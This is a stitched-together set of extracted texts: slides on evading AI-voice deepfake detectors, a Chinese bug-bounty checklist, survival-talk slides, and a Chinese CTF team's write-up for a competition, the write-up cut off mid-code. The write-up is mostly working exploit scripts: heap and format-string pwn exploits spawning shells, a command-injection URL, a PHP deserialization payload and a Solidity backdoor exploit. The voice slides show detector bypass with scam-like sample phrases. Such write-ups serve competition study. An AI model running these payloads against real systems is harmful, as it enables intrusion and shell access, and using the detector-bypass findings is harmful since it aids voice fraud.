Crop the samples to remove the silences before and after the human voice
Theoretically, these silences have nothing to do with human speech
The detection results should not be changed, in theory.
#BHUSA @BlackHatEvents
Information Classification: General
Speaker-irrelative Feature Evaluation
Slight denoise
ALL existing approaches are
significantly affected by background
noise
This means that the noise of human
recordings may help fake voices
bypass the detection of existing
approaches.
Diff*
Compared with original baseline
results
Approach
Baseline
DN-FPR
Diff *
Farid et al.
English
75.09%
↑ 10.92%
Mandarin
84.37%
↑ 85.88%
Deep4SNet
English
59.85%
↓ 10.15%
Mandarin
99.37%
↑ 9.26%
RawNet2
English
97.22%
↑ 2.95%
Mandarin
55.74%
↑ 16.86%
#BHUSA @BlackHatEvents
Information Classification: General
Speaker-irrelative Feature Evaluation
Silence removal
ALL existing approaches are
significantly affected by
meaningless silence
This means that the silence part of
human recordings may help fake
voices bypass the detection of
existing approaches.
Diff*
Compared with original baseline
results
Approach
Baseline
DN-FPR
Diff *
Farid et al.
Mandarin
84.37%
↑ 85.88%
Deep4SNet
Mandarin
99.37%
↑ 9.26%
RawNet2
Mandarin
55.74%
↑ 16.86%
#BHUSA @BlackHatEvents
Information Classification: General
Speaker-irrelative Feature Evaluation
Conclusion
Speaker-irrelative features represented by background noise and silences are indeed
accounted by the detection systems as part of the feature vector to determine
whether a specific sample is a human speech or not.
It lays the foundation for this paper to bypass the AI-synthesized speech detection
systems through speaker-irrelative features.
Answer to RQ2: YES
#BHUSA @BlackHatEvents
Information Classification: General
Detection Bypass Evaluation
This experiment is to answer RQ3
For cost reasons, we only use the English language for this experiment
We removed the samples falsely reported as positive in baseline dataset
For each human recording, we generate five new recordings:
I’m not kidding you, this voice is fake
The weather is really nice today
I’ve sent you the number via WeChat
Can you please lend me some money
You need to come to the office tomorrow
#BHUSA @BlackHatEvents
Information Classification: General
Detection Bypass Evaluation
Compared to the original human recordings in baseline dataset
Fake recordings generated by SiF-DeepVC have much higher negative rates
It means that SiF-DeepVC can effectively deceive existing approaches
SiF-DeepVC recordings are more “human” than real human
Answer to RQ3: YES
Approach
SiF-DeepVC Recordings
Baseline Original Recordings
Diff
Negative
Fake
Negative
Rate (NR)
Negative
Real
Baseline NR
Farid et al.
2,823
8,720
32.37%
1,744
5,400
32.30%
↑ 1.00%
Deep4SNet
6,294
9,015
69.82%
1,803
5,400
33.39%
↑ 109.10%
RawNet2
46
1,505
3.06%
301
5,400
5.57%
↓ 45.06%
Average
9,136
19,240
47.62%
3,848
16,200
23.57%
↑ 102.86%
#BHUSA @BlackHatEvents
Information Classification: General
Speaker-irrelative Features on VC
This experiment is to answer RQ4
It’s randomized and single-blind
We recruited a group of 10 participants
Listen to selected recordings with headphones
Manually verify whether the selected recordings are clear and understandable
We randomly selected these recordings
100 recordings generated by SiF-DeepVC (Output Voice)
100 recordings generated by Voice Cloner (Cloned Voice)
100 recordings from the English baseline dataset (Human Voice)
#BHUSA @BlackHatEvents
Information Classification: General
Speaker-irrelative Features on VC
Conclusion
We can clearly see that there is no
statistical difference between these
voices
We believe that people can
understand the output voices of SiF-
DeepVC very well
Answer to RQ4: YES
Approach
Baseline
DN-FPR
Diff *
Farid et al.
Mandarin
84.37%
↑ 85.88%
Deep4SNet
Mandarin
99.37%
↑ 9.26%
RawNet2
Mandarin
55.74%
↑ 16.86%
Type
Understandable
Total
Ratio
Baseline
97
100
97.00%
Cloned
Voice
94
100
94.00%
Output
Voice
96
100
96.00%
#BHUSA @BlackHatEvents
Information Classification: General
Conclusion
#BHUSA @BlackHatEvents
Information Classification: General
Takeaways
AI-synthesized speeches generation and detection
How to generate AI-synthesized speeches
Existing detection approaches and their problems
A novel attack framework which can bypass existing detectors
Difficulty of defending against AI-synthesized speeches
With SiF-DeepVC, the cloned voice can be more “human” than human
Risk warning for blue side: existing solutions are far from "usable"
New datasets for future researches
We build and open-source several new datasets with high quality
#BHUSA @BlackHatEvents
Information Classification: General
Demos
We deeply understand the importance of reproducibility
All code of this project is available on GitHub
Some code included in our repository are from the following projects
Deep4SNet: https://github.com/yohannarodriguez/Deep4SNet
Farid et al.: https://github.com/cmrfrd/DetectingDeepFakes_BlackHat2019
RawNet2: https://github.com/eurecom-asp/rawnet2-antispoofing
RTVC: https://github.com/CorentinJ/Real-Time-Voice-Cloning
All datasets used in this project are also available to the public
Get the compressed archive (zip file) by Google Drive
Please note that the size of this zip file about 7.8 GB
#BHUSA @BlackHatEvents
Information Classification: General
Description for Datasets
The zip file contains the following datasets:
RQ1:
“for-real-validation”: original human recordings from FoR Validation dataset (also used in RQ3)
“zh-real-test”: original human recordings from MagicData Test dataset for (also used in RQ3)
RQ2:
“for-real-validation-denoised”: slightly denoised “for-real-validation” (RQ2)
“zh-real-test-denoised”: slightly denoised “zh-real-test” (RQ2)
“zh-real-test-silenced”: silence-removed “zh-real-test” (RQ2)
RQ3:
“for-bh-madefake-final-r4k”: cloned fake voices by SiF-DeepVC for Farid et al.
“for-deep4s-madefake-final-r4k”: cloned fake voices by SiF-DeepVC for Deep4SNet
“for-rawnet-madefake-final-r4k”: cloned fake voices by SiF-DeepVC for RawNet2
RQ4:
Take any sample you want ☺
#BHUSA @BlackHatEvents
Information Classification: General
Sadly, We Cannot Really Detect the Fake Voices Now
Maybe we can do it in the future
#BHUSA @BlackHatEvents
Information Classification: General
Thanks | pdf |
《SRC混子是如何炼成的?》
SRC到底应该怎么搞?
来自漏洞之王的回复
来自月入几十万的大佬回复
又一个来自月入几十万的大佬回复
信息收集?
了解业务?
从基础架构分析
运维安全
业务安全
应用安全
内部安全
运维安全
基础服务
网络
服务器&设备
Web(Server
应用层
信息泄露
基础服务
ftp
ssh
telnet
smtp
dns
smb
snmp
ldap
rsync
database
vnc
activemq
elasticsreach
hadoop
……
网络
DDOS
扫描
内网入口
服务器&设备
本地提权
SSL
Bash
WebServer
Tomcat
……
JBoss
Resin
Web(logic
Apache
Nginx
Jetty
IIS
应用层
……
压缩文件泄露
备份文件泄露
敏感文件泄露
Strut2
编辑器安全
SVN
Git
jenkins
zabbix
cati
信息泄露
操作手册
内部帐号外部业务
代码泄露
截图泄露
Blog
……
PPT
业务安全
账号体系
风控体系
交易体系
营销活动
账户体系
密码重置
撞裤
批量注册
登陆防控
任意登录
任意注册
身份鉴定
身份盗用
风险控制
风控缺陷
风控遗漏
判定要素
机器识别
营销活动
薅羊毛
买家套现
机器人
垃圾注册
信用炒作
刷单
反爬虫
扫号
刷券
交易体系
一分钱充值
一分钱购物
任意金额充值
一分钱续费
应用安全
推不动的SDL
绕不完的Filter
失效的“云WAF”
SSRF
事件响应不及时
漏洞组合利用
内部安全
人员意识
办公网络
信息收集
User(List
Domain(List
IP(List
Web(List
Mail(List
外网IP 内网IP C段 IP 办公网IP 端口
二级、三级… 备案
第三方
username
password
mobile
mail
中间件 CMS 数据库 基础服务
user(mail 业务mail
角色
公用mail
whois
业务资产
work(os
oa gitlab jenkins wiki Jira VPN SSO 后台
了解业务
业务内容
业务资产
业务应用
边缘资产比核心更容易出问题
安全总是相对的
三分看命运,七分天注定 | pdf |
RenderMan
Michael “theprez98” Schearer
[email protected]
[email protected]
HACKERS VS. DISASTERS
Our hacker brains are pre-wired to find alternate
uses for many devices. We look at the world as a
puzzle to solve in everything we do. We can
come up with the most extraordinary solutions
to problems under the most extraordinary
circumstances.
Hacker skills are largely compatible with the
skills necessary to survive in the wilderness or
during a natural disaster.
HACKER SKILLS FOR WILDERNESS
AND DISASTER SURVIVAL
PART 1
Have you seen Survivorman?
Michael “theprez98” Schearer
• Work for Booz Allen in central Maryland
• Spent 8+ years in the U.S. Navy as an EA-6B
Electronic Countermeasures Officer
– Veteran of aerial combat missions over Iraq and
Afghanistan
– Spent 9 months on the ground in Iraq as a
counter-IED specialist
• Licensed amateur radio operator, active
member of the Church of WiFi, a football
coach and father of four
Michael “theprez98” Schearer
• Previous speaker at DEFCON, ShmooCon,
HOPE and other conferences
• Contributor to several Syngress books
Why you should listen to me (maybe)
• Military experience
• Graduate of the Department of
Defense’s Survival, Evasion,
Resistance and Escape (SERE)
school
• Other survival and outdoor
training
• Skills learned from experiences
(both good and bad!)
Why you should be skeptical
I am not this guy…
…or this guy
• I am not a survival expert; other people (maybe
some of you) know more than I do
• Survival skills will vary based upon experience,
training, geography, weather, time of year and
other factors
Why you should care:
Natural disasters
• Tornadoes
– ~1300 tornadoes per year since 2000
– $427 million of damage per year since 1950
• Hurricanes
– ~10 named (Atlantic) storms per year since 1944
– $1.6-6.2 billion of damage per year since 1950
– Hurricanes Katrina and Rita caused an estimated
$45 billion dollars in damage
Why you should care:
Natural disasters/Pandemics
• Earthquakes
– 19.4 magnitude 7.0+ earthquakes per year
– $4.4 billion in damage per year
• H1N1 Flu Pandemic (as of July 24/29)*
– 43,771 cases, 302 deaths (U.S.)
– 134,503 cases, 816 deaths (worldwide)
In 2008, there were 9 weather events whose damage
costs exceeded $1 billion and caused 256 deaths
Why you should care:
Influenza waves
Why you should care:
Large scale/long term power outages
• On August 14, 2003, cascading shutdowns at over 100 power
plants resulted in 61,800 megawatts of power being lost to 50
million people
• In January 2009, 68 counties and 36 cities in Kentucky, totaling
525,00 people, lost power in a powerful winter storm; many
people lost power for several weeks
Why you should care:
The bottom line
• People underestimate how physically
demanding the outdoors can be
• Thousands of people get lost every year on
simple day trips with no maps, inadequate
supply of food and water, lack of warm clothes
• Many people are unprepared to live without
power for anything longer than a few hours
• The time when something bad happens is too
late to start thinking about being prepared
What I did*
• Traveled to “remote” areas for primitive
overnight camping
• One day’s supply of food and water
• No shelter
• Video camera, limited other supplies
I attempted “real life” demonstrations as a
means of showing how the Hands-On
Imperative can apply to survival situations
Appalachian mountains
South central Pennsylvania
• Michaux State Forest
• December 21-22, 2008
• Challenges
– Very little daylight
– Below freezing
– Snow/ice on the ground
– Waterlogged wood
– No shelter
Why oh why did I pick December 21st? ;-)
Assateague Island, Maryland
• Assateague Island
National Seashore
• April 4-5, 2009
• Challenges
– Long distance to site
– Little protection from wind
– Rain, rain and more rain
– Waterlogged wood
– No shelter
Assateague Island, Maryland
OMG! PONIES!
Five Basic Survival Skills
• Fire
• Shelter
• Signaling
• Food and Water
• First Aid
Q. Which is most important?
A. It depends.
FIRE
“What disaster makes it so that guns and matches don't
work? If you want to survive, buy a case of ammo and
some waterproof matches.”
--Penn Jillette, “End of the World,” Bullshit!
Fire
• Fire provides warmth, light, and comfort
• Allows for cooking and boiling
• Matches and lighters: Ok, but…
• Bow drill fire on the fly? Think again…
• Fire sticks, dryer lint, steel wool and batteries
• FireSteel
The bottom line: have multiple fire-starting
methods available at all times
Fire
SHELTER
“Clothing is shelter in close proximity to the body.”
--Donald C. Cooper, National
Association for Search and Rescue
Shelter
• Provides some degree of protection from the
elements as well as psychological comfort
• The shelter you choose to build will be highly
dependent upon location, time of year,
weather and other circumstances
• Clothing is shelter in close proximity to the
body; wear layers to be able to shed and add
Shelter
• Select your site considering availability of
water (and avoiding water), protection from
the elements, and proximity to resources
• If you need to break or destroy something to
help you stay alive, do it!
The things you use to make a shelter are often
the “perfect camouflage” from those searching
for you
Shelter
SIGNALING
“The irony of survival is that for all the planning and
preparation you do to stay alive in the wild, all you
really want to do is to go home.”
--Les Stroud, Survive!
Signaling
• Once your immediate safety is taken care of,
prepare your signals to be ready at any time
• Mirrors/Flashlights/Flares/Chemicals
• Signal fire, triangle, day/night
• Personal Locator Beacon (PLBs)
• SPOT satellite messenger
• SendAnSOS.com
Signaling
FOOD AND WATER
“It is wise to bring some water, when one goes out to
look for water.”
--Arab proverb
Food and water
• You can live 4-6 weeks without food
• You can only live 2-10 days without water
• Very hot, very cold, very dry, and windy
environments are all bad for water needs
• Waterborne illnesses (giardia)
• Boiling water
• Eating ice/snow?
• Drinking your own urine?!
Food and water
• “The Myth of Wild Edibles”: identification,
availability, season, latitude
• Insects/bugs/other various critters
• Fish and small game: traps, snares, falls
• Water needs increase with more food
Food and water
FIRST AID
Lou: A bandage keeps a boo-boo
Louise: or an "owie" clean and safe.
Lou: We're the Safety Patrol.
Louise: We're here to keep people safe.
Dad: Kids, aren't you forgetting something?
Lou: We are?
Louise: I thought we covered everything.
Dad: You forgot to kiss it and make it better.
Louise: Oops.
Lou: Oh, right.
-- Lou and Lou: Safety Patrol
First aid
• Do not panic
• STOP: Stop, Think, Observe, Plan
• First Aid & CPR
• Eyes, Feet, Hands, Stomach (Stroud Survival
Tip)
PREPARATION
“Luck is what happens when preparation meets
opportunity.”
--Seneca
Given the will to survive,
thriving in the wild or in a
disaster situation or in the
wilderness is largely a matter
of preparation combined with
the “hacker” ingenuity to find
creative solutions under
extraordinary circumstances.
Preparation
Preparation
• Kits vs. Custom
• Gear Recommendations
• Home Preparation
• Vehicle Preparation
• Hiking/Camping (Ten Essentials)
• Bug Out Bag
Gear Recommendations
• Clothing
– Under Armour boxer
briefs
– Comfortable, broken-in
boots
– Thorlo-type socks
– Rigger’s belt
– Recon wrap
• Accessories
– Surefire flashlight
– Leatherman/Multi-tool
– Swedish FireSteel
Preparation: Home
• Water
– Drinking (bottled/tap/bathtub/toilet tank?)
– Bathing
• Food (perishables/non-perishables/cookability)
• Heat (fireplace/wood stove/space heater)
• Signaling and communication
• Travel and navigation
Preparation: Vehicle
• Water (+food)
• Fire-starting capability
• Signaling devices (flares, whistle, etc.)
• Battery cables
• Other materials as space allows
Don’t hesitate to cannibalize your vehicle if you
need the parts in it to survive
Hiking/Camping
The Ten Essentials
• Map
• Compass (+GPS)
• Sunglasses and
sunscreen
• Extra food and water
• Extra clothes
• Headlamp/flashlight
• First aid kit
• Fire starter
• Matches
• Knife
Essential items are dependent upon location;
experts recommend supplementing the essentials
Bug Out Bag
• Survival kit containing items for short term
evacuation (~72 hours)
– One gallon of water per day per person
– Non-perishable food
– First aid kit
– Etc…
• Contents dependent upon location and
individuals (kids, elderly, pets, medicine…)
FINAL THOUGHTS
“Man can live about forty days without food, about
three days without water, about eight minutes
without air, but only for one second without hope.”
--Author unknown
Final Thoughts
• Don’t be squeamish about breaking or
destroying something to help you stay alive
• You are not Jack Bauer, MacGyver, or
Survivorman; you need practice to survive
• Employ the Hands-On Imperative: “Don’t
consider what it is, but what it could be”
Your psychological strength together with the
will to survive is the most important survival skill
Credits and Further Research
• Centers for Disease Control and Prevention
• National Oceanic and Atmospheric
Administration (National Weather Service)
• World Health Organization
• Les Stroud, Survive! Essential Skills and Tactics
to Get You Out of Anywhere—Alive
• Mountaineering: The Freedom of the Hills
• www.survivaltopics.com
• My family
QUESTIONS
HOW TO REBOOT SOCIETY
ON A BUDGET
PART 2
PLEASE STAND BY FOR | pdf |
强网杯-WP
Author:Nu1L Team
强网杯-WP
强网先锋
bank
web辅助
主动
侧防
upload
baby_crt
babymessage
Siri
Funhash
红方辅助
babynotes
Just_a_Galgame
区块链
EasyFake
IPFS
Misc
miscstudy
Crypto
fault
modestudy
Web
easy_java
babewp
half_infiltration
dice2cry
Re
aaenc
flower
safe_m2m
firmware_blob
imitation_game
xx_warmup_obf
Pwn
direct
easyoverflow
leak
oldschool
QWBlogin
wingame
easypwn
题目名称|working or done|id
flag格式为flag{}或者QWB{}或者ctf{}
强网先锋
bank
nc 39.101.134.52 8005
web辅助
import string
import hashlib
import itertools
from pwn import *
context.log_level = 'debug'
io = remote('39.101.134.52', 8005)
def passpow(postfix, res):
for answer in itertools.product(string.ascii_letters+string.digits,
repeat=3):
answer = ''.join(answer).encode()
hashresult = hashlib.sha256(answer+postfix).hexdigest().encode()
if hashresult == res:
return answer
io.recvuntil("+")
postfix = io.recvuntil(")")[:-1]
io.recvuntil('== ')
res = io.recvuntil('\n')[:-1]
print(postfix, res)
answer = passpow(postfix, res)
print(answer)
io.sendlineafter(":", answer)
io.sendlineafter(":", "icqaf0ecae2322e454ba574617e58ef7")
io.sendlineafter(":", "Q7")
io.sendlineafter("> ", "view records")
records = io.recvuntil("your cash")[:-9].strip().splitlines()
print(records)
io.sendlineafter("> ", "transact")
io.sendlineafter("> ", "Alice 10")
hsh = io.recvuntil('\n')[:-1]
sender, receiver, amount = hsh[:32], hsh[32:64], hsh[64:]
print(hsh)
print(sender, receiver, amount)
io.sendlineafter("> ", "provide a record")
io.sendlineafter("> ", receiver+sender+amount)
for record in records[1:]:
receiver = record[32:64]
amount = record[64:]
res = receiver+sender+amount
print('res', res)
io.sendlineafter("> ", "provide a record")
io.sendlineafter("> ", res)
io.interactive()
反序列化字符逃逸:
主动
http://39.96.23.228:10002/?ip=127.1;cat%20f*
侧防
upload
pcap提取出一个上传的jpg,根据提示用了steghide和一个密码,测一下弱口令,123456成功解开拿到
flag
baby_crt
题目给出了一个Fault attack on CRT-RSA的场景, 爆破t1,k求gcd(m^f(c1)-f(sig)^e%n,n)分解n即可。
topsolo::TP=>midsolo::=>invoke=>Gank=>junjle::__tostring
http://eci-2ze06zq9b84jbri1qjsz.cloudeci1.ichunqiu.com/?
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&passw
ord=ven%22;s:1:%22a%22;O:7:%22topsolo%22:1:
{S:7:%22%00*%00n\61me%22;O:7:%22midsolo%22:3:
{S:7:%22%00*%00n\61me%22;O:6:%22jungle%22:1:
{S:7:%22%00*%00n\61me%22;s:7:%22Lee%20Sin%22;}}}s:8:%22nu1lctf1%22;s:1:%221
import fuckpy3
t1 = '4C787C64545577655C49764E6843424F'.unhex()
t2 = '4C71444E66577D496D465A4374697978'.unhex()
t3 = '4462655E57505C4F'.unhex()[::-1]
t = t1+t2+t3
table = b'QWBlogs'
flag = ''
for idx in range(len(t)):
i = idx - idx % 4
j = (idx % 4 + 1) % 4
flag += chr((t[i+j]-65) ^ table[idx % 7])
print(flag)
from Crypto.Util.number import getPrime, long_to_bytes, getStrongPrime
from hashlib import sha1
import libnum
import math
primeList = []
for num in range(2**15+1, 2**16, 2):
if all(num % i != 0 for i in range(2, int(math.sqrt(num))+1)):
primeList.append(num)
32768, 65536
e = 65537
# assert p < q
# assert flag == "flag{" + sha1(long_to_bytes(p)).hexdigest() + "}"
babymessage
n =
26318358382258215770827770763384603359524444566146134039272065206657135513496897
32198392065224218211247948413534343620681572260575655709824188723383724851903187
94447409227893513561383229471083468339564056475788388734256584055131924374793595
31790697924285889505666769580176431360506227506064132034621123828090480606055877
42548073995080910904817797688482558902344490195352991358528814329154418118381022
75538919739159609515261544693445870832956400348768743186109911530584628113696155
55470571469517472865469502025030548451296909857667669963720366290084062470583318
590585472209798523021029182199921435625983186101089395997
m =
26275493320706026144196966398886196833815170413807705805287763413013100962831703
77464033276550383808743490483565798827606466030442780296160918599796466544086741
69007111285178592675046576271605987002486897380452431421114891796733758193087795
35247214660694211698799461044354352200950309392321861021920968200334344131893259
85046821490126620809046926580972951424914393804352157967823475467009705628155686
18055680966574159748055782991964403627919074088889589170636688672082573700993240
84840742435785960681801625180611324948953657666742195051492610613830629731633827
861546693629268844700581558851830936504144170791124745540
sig =
20152941369122888414130075002845764046912727471716839854671280255845798928738103
82459533988534540541994335421545659838122851913190269837322579533964930035936311
97546056983210523347314771274337969641076331096087060301111971567016073790867669
44096066649323367976786383015106681896479446835419143225832320978530554399851074
18076230832209233972183956664214490886453046601761473167952539225979651178962408
02285870806214540849571691933437245158674681782424023567418848907398732506589604
38450287159439457730127074563991513030091456771906853781028159857466498315359846
665211412644316716082898396009119848634426989676119219246
for t1 in primeList:
for k in primeList:
tmp = libnum.gcd((pow(m, (1-k) % t1, n)-pow(sig, e, n)) % n, n)
if tmp != 1:
tmp1 = n//tmp
print("flag{" + sha1(long_to_bytes(min(tmp, tmp1))).hexdigest() +
"}")
exit(0)
from pwn import *
context.log_level="debug"
p=remote("123.56.170.202",21342)
#gdb.attach(p)
p.sendlineafter(": \n","1")
p.sendafter(": \n",p32(0xffff))
p.sendlineafter(": \n","2")
p.sendafter(": \n","a"*8+p64(0x6010d0+4))
p.sendlineafter(": \n","2")
p.sendafter(":
\n","a"*16+p64(0x400ac3)+p64(0x601020)+p64(0x400670)+p64(0x4009dd))
p.recvuntil("done!\n\n")
addr=u64(p.recv(6)+"\x00\x00")-0x00080a30+0x10a45c
print hex(addr)
p.sendlineafter(": \n","1")
Siri
格式化字符串漏洞,先泄漏PIE和栈,在泄漏libc
最后直接onegadget
p.sendafter(": \n",p32(0xffff))
p.sendlineafter(": \n","2")
p.sendafter(": \n","a"*8+p64(0x6010d0+4))
p.sendlineafter(": \n","2")
p.sendafter(": \n","a"*16+p64(0x400ac3)+p64(0)+p64(addr))
p.interactive()
from pwn import *
import FmtPayload
context.arch = 'amd64'
# s = process("./Siri",env={'LD_PRELOAD':'./libc.so.6'})
s = remote("123.56.170.202","12124")
elf = ELF("./Siri")
puts_got = elf.got['puts']
strstr_got = elf.got['strstr']
def say(buf):
s.sendafter(">>>","Hey Siri!")
s.recvuntil(">>> What Can I do for you?")
s.sendafter(">>>","Remind me to "+buf)
# gdb.attach(s,"b *$rebase(0x129d)\nc")
# fmtstr_payload()
payload = 'A'*5+'%87$pBBBB%44$pDDDD'
say(payload)
s.recvuntil("A"*5)
pie = int(s.recvuntil("B"*4,drop=True),16)-0x1368
success(hex(pie))
stack = int(s.recvuntil("D"*4,drop=True),16)-0x118
success(hex(stack))
payload = 'A'*5+'%15$sBBB'+p64(puts_got+pie)
say(payload)
s.recvuntil("A"*5)
puts = u64(s.recvuntil("BBB",drop=True)+"\x00"*2)
libc = ELF("./libc.so.6")
offset = puts-libc.sym['puts']
success(hex(offset))
system = offset+0x10a45c
# payload = 'A'*12+fmtstr_payload(15,
{stack:system+libc},numbwritten=39,write_size='short').replace('lln','hn')
payload =
'A'*3+FmtPayload.fmt_payload(15,stack,system,n=3,written=30,typex='short')
for i in range(3):
payload = payload.replace("%"+str(20+i)+"$hn","%"+str(55+i)+"$hn")
print payload
success(hex(len(payload)))
success(hex(system))
say(payload)
s.interactive()
Funhash
http://39.101.177.96/?
hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2&hash4=ffifdyop
红方辅助
'''
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
#encoding:utf-8
import socket
import struct
import multiprocessing
import random
from hashlib import md5, sha256
from pwn import *
def dec(data, fn, salt,btime):
funcs = {
"1" : lambda x, y : x - y,
"0" : lambda x, y : x + y,
"2" : lambda x, y : x ^ y # lambda x, y : x ^ y
}
offset = {
"0" : 0xefffff,
"1" : 0xefffff,
"2" : 0xffffff,
}
# length = len(data) + 10
# fn = str(random.randint(0, 65535) % 3).encode()
t = struct.unpack("<i", btime)[0]
boffset = offset[fn.decode()]
t -= boffset
t = struct.pack("<i", t)
# enc = struct.pack("<IIcB", count, length, fn, salt)
dec = ''
i = 0
for c in data:
tt = funcs[fn.decode()](ord(c),salt) % 256
dec += chr(tt ^ ord(t[i]))
i = (i + 1) % 4
babynotes
return dec
f = open('data.txt','r')
d = f.read()
f.close()
d = d.splitlines()
for i in xrange(len(d)/5):
assert 'G' == d[i*5].decode('hex')
time = d[i*5 + 1].decode('hex')
of = d[i*5 + 2].decode('hex')
da = d[i*5 + 3].decode('hex')[8:]
fn = da[0]
salt = ord(da[1])
j = d[i*5 + 4].decode('hex')
print(dec(da[2:],fn ,salt,time))
#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
context(arch = 'amd64' , os = 'linux', log_level='debug')
#p = process('./babynotes')
p=remote("123.56.170.202", 43121)
name = "aa"
motto = "aaaa"
age =1234
def init(name,motto,age):
p.sendafter(": \n",name)
p.sendafter(": \n",motto)
p.sendlineafter(": \n",str(age))
def add(index,size):
p.sendlineafter(">> ","1")
p.sendlineafter(": \n",str(index))
p.sendlineafter(": \n",str(size))
def show(index):
p.sendlineafter(">> ","2")
p.sendlineafter(": \n",str(index))
def delete(index):
p.sendlineafter(">> ","3")
p.sendlineafter(": \n",str(index))
def edit(index,note):
p.sendlineafter(">> ","4")
p.sendlineafter(": \n",str(index))
p.sendafter(": \n",note)
def reg(name,motto,age):
p.sendlineafter(">> ","5")
init(name,motto,age)
init("aaaaa","aaaaa",12)
add(0,0x18)
add(1,0xf8)
add(2,0x68)
add(3,0x20)
delete(0)
Just_a_Galgame
区块链
reg("a"*0x18,"a"*0x10,0x171)
delete(1)
add(4,0xf8)
add(1,0x68)
show(1)
p.recvuntil(": ")
addr=u64(p.recv(6)+"\x00\x00")+0x7ffff7a0d000-0x7ffff7dd1b78
print hex(addr)
delete(2)
edit(1,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000))
add(2,0x68)
add(0,0x68)
delete(2)
edit(0,"a"*0x13+p64(addr+0xf1207))
add(2,0x68)
#gdb.attach(p)
p.interactive()
from pwn import *
context.log_level="debug"
#p=process("./Just_a_Galgame")
p=remote("123.56.170.202",52114)
def add():
p.sendlineafter(">> ","1")
def edit(index,note):
p.sendlineafter(">> ","2")
p.sendlineafter(">> ",str(index))
p.sendafter(">> ",note)
def add2():
p.sendlineafter(">> ","3")
def show(index):
p.sendlineafter(">> ","4")
p.sendlineafter(">> ",str(index))
def leave(note):
p.sendlineafter(">> ","5")
p.sendafter("\n\n",note)
add()
leave(p64(0x404000))
edit(8,p64(0x0403FD8))
show(0)
p.recvuntil("0: ")
addr=u64(p.recv(6)+"\x00\x00")-0x7ffff7af4180+0x7ffff79e4000
print hex(addr)
add2()
leave(p64(addr+0x03ebc30-0x60))
edit(8,p64(addr+0x10a45c))
#gdb.attach(p)
add()
p.interactive()
EasyFake
我部署的:
和RWCTF 2018 Final的题基本一样... 0x2665f77d是个backdoor.
pragma solidity ^0.4.23;
contract EasyFake {
...................
...................
string public constant hello = "Welcome to S4 of qwb! Enjoy yourself :D";
uint private constant randomNumber = 0;
event SendFlag(address addr);
...................
...................
kDGCcGie+3ujXBYOR0buPn4HYLoaDXsdR8QAw2NuuJem8wKdt/e99bQkDT7PJUALCXfx0B/yoB9YUTF9
Y7Ny7aLpcMDLR5qMGKVKEQ8wuZNk84m5E2zpIBWsHYwjgHFBgO6Lo8Og7Ag3f277UfzoLTtL7iO4HyPk
vvsHKpwOLHs=
new token:
BoyCMgAMJYKuXC4wJ0M17bNSni4MPy5CDxLBlAmO0itHtrigRbgdBvsLuEC36G/GFrEH3nEEJcAx1wYF
if6PAPLncZ9YFshLSsHsI4cxc/L3ry6I9TBPsK+9mROttYcHRsqPyf3Qqi67c1qcjqjM+zoeJw4VLrM2
sWj+C1t7t69/Xhd7FLj5aJG1hDCoD0kK0u6EzunWacWlq3ALBSNrnw==
0xF2871Ea6f7463BcdBfcfa42939D26BC6719D86ED
https://ropsten.etherscan.io/address/0x801872e155f82fb1fdd350fff70c99d61ecf940a
const Web3 = require('web3');
const Tx = require('ethereumjs-tx');
const fs = require('fs');
const WalletProvider = require("truffle-wallet-provider");
const contract = "0xAa67957a992100674f70Af8EfD89E138C77A6308";
const mine = '0x9Fd6Bd7F75fB554A206dFa952cCa508d07e974C8';
const backdoor = "0x2665f77d";
String.prototype.trim = function() {
return String(this).replace(/^\s+|\s+$/g, '');
};
String.prototype.leftJustify = function( length, char ) {
var fill = [];
while ( fill.length + this.length < length ) {
fill[fill.length] = char;
}
return fill.join('') + this;
}
String.prototype.rightJustify = function( length, char ) {
var fill = [];
while ( fill.length + this.length < length ) {
fill[fill.length] = char;
}
return this + fill.join('');
}
String.prototype.abiPack = function() {
return num2uint(this.length) +
Buffer.from(this).toString('hex').rightJustify(64, '0');
}
var wallet = require('ethereumjs-
wallet').fromPrivateKey(Buffer.from(fs.readFileSync("./pk.txt").toString().trim(
), 'hex'));
var web3 = new Web3(new WalletProvider(wallet, "https://ropsten.infura.io/v3/" +
fs.readFileSync("./apikey.txt").toString().trim()));
function address2uint(address) {
return "000000000000000000000000" + address;
}
function num2uint(number) {
return number.toString(16).leftJustify(64, '0');
}
function sendTransaction(tx) {
var tx = new Tx(tx);
tx.sign(priv);
var serialized = tx.serialize()
return web3.eth.sendSignedTransaction('0x' + serialized.toString('hex'));
}
function deploy(contract) {
return web3.eth.sendTransaction({
gasPrice: 1000000000,
gasLimit: 300000,
from: '0x' + mine,
value: 0,
data: '0x' + contract,
});
}
var payload = "";
for(var i = 0; i < 0x5e - 4; i++) {
payload += "aa";
}
payload += "0000000000000000000000000000000000000000000000000000000000000740";
// jop delegatecall gadget
payload += "000000000000000000000000E58d9Ce758ff82c4642b7002dDcc8C16956F8A28";
web3.eth.sendTransaction({
gasPrice: 1000000000,
gasLimit: 300000,
from: mine,
to: contract,
value: 0,
data: backdoor + payload
delegatecall调用的合约:
IPFS
pic1:
先把每个block都ipfs get下载下来,根据文件头文件大小确定首位顺序,再根据图片内容试一试即可确
定6个block顺序
cat QmXh6p3DGKfvEVwdvtbiH7SPsmLDfL7LXrowAZtQjkjw73
QmZkF524d8HWfF8k2yLrZwFz9PtaYgCwy3UqJP5Ahk5aXH
QmU59LjvcC1ueMdLVFve8je6vBY48vkEYDQZFiAbpgX9mf
Qme7fkoP2scbqRPaVv6JEiaMjcPZ58NYMnUxKAvb2paey2
QmfUbHZQ95XKu9vd5XCerhKPsogRdYHkwx8mVFh5pwfNzE
QmXFSNiJ8BdbUKPAsu3oueziyYqeYhi3iyQPXgVSvqTBtN > res.jpg
按照相同分块方式上传即可拿到hash
pic2:
添加0x12 0x20的算法、长度标识后转为base58即可。
最后根据图片内容flag=flag{md5(hash1+hash2)} 拼接即可。
}).then(console.log);
pragma solidity ^0.4.23;
contract Sender {
address private owner;
uint public balance;
event SendFlag(address addr);
constructor () public {
owner = msg.sender;
balance = 0;
}
function pay() public payable {
